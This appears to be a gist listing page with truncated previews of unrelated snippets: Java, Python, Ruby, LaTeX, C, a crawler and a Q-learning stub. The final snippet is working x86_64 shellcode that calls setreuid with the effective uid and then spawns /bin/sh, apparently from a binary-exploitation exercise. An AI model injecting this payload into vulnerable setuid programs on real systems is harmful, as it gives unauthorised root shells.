This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.util.*; | |
public class Main { | |
public static class Edge { | |
public int j, x; | |
public Edge(int j, int x) { | |
this.j = j; | |
this.x = x; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import socket | |
host=socket.gethostname().split(".")[0] | |
if host.startswith("pod"): | |
print("LWSN B148") | |
elif host.startswith("xinu"): | |
print("HAAS 257") | |
elif host.startswith("borg"): | |
print("HAAS G040") | |
elif host.startswith("moore"): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.util.*; | |
public class Main { | |
public static PrintWriter out; | |
public static void main(String[] args) { | |
MyScanner sc = new MyScanner(); | |
out = new PrintWriter(new BufferedOutputStream(System.out)); | |
int[] boxes = new int[6]; | |
for (int i = 0; i < 6; i++) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mac = "98:4f:ee:00:0c:3a" | |
x = mac.split(':') | |
x.insert(3, 'ff') | |
x.insert(4, 'fe') | |
x[0] = (x[0].to_i(16) ^ 0b00000010).to_s(16) | |
x.insert(0, 'fe') | |
x.insert(1, '80') | |
x = x.each_slice(2).map{|x|x.join('')}.join(':') | |
x.insert(4, ":") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.jsoup.Jsoup; | |
import org.jsoup.nodes.*; | |
import org.jsoup.select.Elements; | |
import java.io.*; | |
import java.util.*; | |
import java.util.concurrent.*; | |
import java.util.regex.*; | |
public class Crawler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/python | |
v_pi = { | |
'G': {'right': 0.0, 'up': 0.0}, | |
'W': {'exit': 0.0}, | |
'B': {'up': 0.0, 'left': 0.0}, | |
} | |
alpha = 0.5 | |
def q_learn(s1, a, s2, r): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\documentclass[12pt]{extarticle} | |
\usepackage{extsizes} | |
\usepackage{fancyhdr} | |
\usepackage{extramarks} | |
\usepackage{amsmath} | |
\usepackage{amsthm} | |
\usepackage{amsfonts} | |
\usepackage{tikz} | |
\usepackage{enumitem} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
NPC made by Railin | |
THIS SCRIPT IS PROTECTED BY INTERNATIONAL | |
INTELLECTUAL PROPERTY LAWS! | |
STEALING, MODIFYING OR REMOVING PARTS OF IT | |
WITHOUT CONSENT ARE CRIMINAL OFFENSES. | |
FOR THE PURPOSES OF THIS SCRIPT, THE GRAALONLINE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This code is awful | |
// IT WORKS THOUGH :D | |
// High five whoevers reading this! | |
char *host_addr_to_string(char *addr) { | |
char *buf = (char*)malloc(22); | |
uint8_t ipb[4]; | |
uint16_t port; | |
sscanf(addr, "%03hhu%03hhu%03hhu%03hhu:%05hu", &ipb[3], &ipb[2], &ipb[1], &ipb[0], &port); | |
sprintf(buf, "%hhu.%hhu.%hhu.%hhu:%03hu", ipb[3], ipb[2], ipb[1], ipb[0], port); | |
return buf; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
setreuid(geteuid(),geteuid()) | |
x86_64 shellcode | |
\x48\x31\xc0\xb0\x6b\x0f\x05\x48\x89\xc7\x48\x89\xc6\x48\x31\xc0\xb0\x71\x0f\x05\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05 |